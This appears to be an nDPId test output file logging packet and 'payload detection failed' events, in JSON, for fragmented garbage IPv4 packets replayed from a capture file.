+00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524366,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2101,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2102,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524393,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2103,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524405,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2104,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2105,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524429,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2106,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524440,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2107,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2108,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524470,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2109,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524482,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2110,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524493,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2111,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524505,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2112,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524517,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524540,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524587,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524599,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524627,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524680,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524741,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524753,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524777,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524788,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524812,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524859,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":524874,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 